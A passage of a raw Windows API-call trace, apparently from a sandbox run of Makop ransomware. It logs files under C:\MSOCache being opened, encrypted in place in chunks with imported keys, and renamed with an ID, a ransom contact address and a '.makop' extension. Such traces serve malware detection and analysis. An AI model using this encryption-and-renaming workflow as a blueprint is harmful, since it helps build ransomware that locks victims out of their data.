[0065.658] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0065.658] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0065.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.659] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=9958388) returned 1 [0065.659] GetProcessHeap () returned 0x48a0000 [0065.659] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.659] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.659] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.659] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0xc, lpOverlapped=0x0) returned 1 [0065.664] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.664] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.664] GetProcessHeap () returned 0x48a0000 [0065.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0065.664] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0065.664] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.664] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0065.664] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0065.664] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0065.664] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0065.665] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.665] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0065.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.665] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.665] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.665] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.678] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.680] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.681] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.682] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.683] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.683] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.683] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.710] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.712] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.712] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.714] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.714] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.714] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.714] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.729] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.732] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.732] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.735] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.735] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.736] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.736] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.736] SetEndOfFile (hFile=0x124) returned 1 [0065.744] GetProcessHeap () returned 0x48a0000 [0065.744] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0065.744] GetProcessHeap () returned 0x48a0000 [0065.744] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.744] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0065.745] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.745] CloseHandle (hObject=0x124) returned 1 [0065.746] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0065.746] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.746] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.746] GetProcessHeap () returned 0x48a0000 [0065.746] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.746] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.747] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0065.747] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0065.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.751] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.751] GetProcessHeap () returned 0x48a0000 [0065.751] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0065.752] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0065.752] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.752] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0065.752] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0065.752] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0065.752] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0065.752] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.752] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0065.753] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.753] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.753] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.753] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x648, lpOverlapped=0x0) returned 1 [0065.753] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x650, dwBufLen=0x650 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x650) returned 1 [0065.753] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.753] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x650, lpOverlapped=0x0) returned 1 [0065.753] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.753] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.754] SetEndOfFile (hFile=0x124) returned 1 [0065.760] GetProcessHeap () returned 0x48a0000 [0065.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0065.760] GetProcessHeap () returned 0x48a0000 [0065.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.760] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0065.760] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.764] CloseHandle (hObject=0x124) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0065.764] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0065.764] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned 62 [0065.765] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0065.765] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0065.770] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.770] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0065.770] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0065.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.771] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=14819276) returned 1 [0065.771] GetProcessHeap () returned 0x48a0000 [0065.771] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.771] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.771] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.772] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0065.777] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.777] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.777] GetProcessHeap () returned 0x48a0000 [0065.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0065.778] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0065.778] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.778] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0065.779] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0065.779] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0065.779] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0065.779] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.779] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0065.779] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.779] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.780] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.793] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.796] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.796] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe220a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.798] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.799] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.809] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, 